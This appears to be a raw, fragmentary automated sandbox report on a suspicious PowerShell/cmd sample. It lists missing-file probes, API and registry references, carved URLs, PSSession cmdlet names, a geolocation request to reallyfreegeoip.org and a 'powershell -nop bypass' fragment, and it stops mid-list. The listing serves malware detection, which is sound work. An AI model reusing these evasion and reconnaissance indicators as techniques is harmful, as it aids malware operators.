"powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll"48:T840,"cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\SPREAD.BAT" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\Spread.bat" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML"49:T4c2,Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00005432-00000C2C-1463767309") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp, 00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00005572.00000000.158218.9B790000.00000004.mdmp, 00000000-00005572.00000001.159543.9B7BE000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00005572.00000000.158218.9B790000.00000004.mdmp, 00000000-00005572.00000001.159543.9B7BE000.00000004.mdmp")4a:T746,Potential IP "64.124.12.162" found in string "/xml/64.124.12.162" Potential IP "64.124.12.162" found in string "GET /xml/64.124.12.162 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive" Potential IP "64.124.12.162" found in string "GET /xml/64.124.12.162 HTTP/1.1" "2.5.29.37" "2.5.29.35" Potential IP "64.124.12.162" found in string "64.124.12.162USUnited StatesMIMichiganOkemos48864America/Detroithttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4s9_>powershell-nopbypasstry" - Source: "00000000-00004500.00000000.157721.47B00000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcaucooe:j9_($nnew" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.%y0c" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuu@whhsmookhil" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?ign.vslo2.5.4.5*dpczallusersprofile=c:\programdatacomputername=desktop-fvvf82akq8yxszd2zxszd2zsecom" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00004500.00000000.157721.62530000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004500.00000000.157721.62530000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004500.00000000.157721.62530000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4s9_>powershell-nopbypasstry" - Source: "00000000-00004500.00000001.157884.47B00000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcaucooe:j9_($nnew" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.%y0c" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuu@whhsmookhil" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?ign.vslo2.5.4.5*dpczallusersprofile=c:\programdatacomputername=desktop-fvvf82akq8yxszd2zxszd2zsecom" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004500.00000001.157884.62050000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00004500.00000001.157884.62630000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fe" - Source: "00000000-00004500.00000001.157884.62630000.00000004.mdmp") Found URL "http://www." - Source: "00000000-00004500.00000001.157884.62630000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@washington1redmond1microsoft" - Source: "00000000-00004500.00000001.157884.62630000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mtwashington1redmond1microsoft" - Source: "00000000-00004500.00000001.157884.62630000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004500.00000001.157884.62630000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004500.00000001.157884.62630000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623636" - Source: "00000000-00004500.00000001.157884.62630000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthorizedha256" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?e%:oj>fmo@.a" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005572.00000000.158218.B61B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005572.00000000.158218.B61B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005572.00000000.158218.B61B0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00005572.00000001.159543.32608000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00005572.00000001.159543.32608000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00005572.00000001.159543.32608000.00000002.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czclambda_method@n_7callsite.targetcallsite.targetcallsite.target!" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?e%:oj>fmo@.a" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005572.00000001.159543.B5BE9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005572.00000001.159543.B5C8D000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1l0j" - Source: "00000000-00005572.00000001.159543.B5C8D000.00000004.mdmp") Found URL "http://www.microsoft.com/windows120531151137z0/^g(o-ce" - Source: "00000000-00005572.00000001.159543.B5C8D000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport:\windows\system32\windowspowershell\v1.0\powershell.exeindows" - Source: "00000000-00005572.00000001.159543.B61B0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005572.00000001.159543.B61B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miwashington1redmond1microsoft" - Source: "00000000-00005572.00000001.159543.B61B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005572.00000001.159543.B61B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005572.00000001.159543.B61B0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00005572.00000001.159543.B6310000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0113407z0w0=sfa3g1o3.dlln%3.hancrovider0t*rsfa3g1o3.dll311.10.19v%3!y%3is%3v>k\8h^a7>_9p$vkt7" - Source: "00000000-00005572.00000001.159543.B6310000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/micro2010-06-23.crt01http://wwwft.com/pcps/default.htm0@7" - Source: "00000000-00005572.00000001.159543.B6310000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/micro2010-06-23.crt01http://www.microsoft.com/pcps/default.htm0@7" - Source: "00000000-00005572.00000001.159543.B6310000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/micro]2010-06-23.crt01http://www.microsoft.com/pscps/defard$" - Source: "00000000-00005572.00000001.159543.B6310000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/micro/2010-06-.htm07" - Source: "00000000-00005572.00000001.159543.B6310000.00000004.mdmp") Found URL "http://www.microsoft.com/pcps/default.htm0@d$" - Source: "00000000-00005572.00000001.159543.B6310000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005572.00000001.159543.B6310000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005572.00000001.159543.B6310000.00000004.mdmp")4d:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp")4e:T623,Found registry query API: "RegQueryValueExW" in "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in 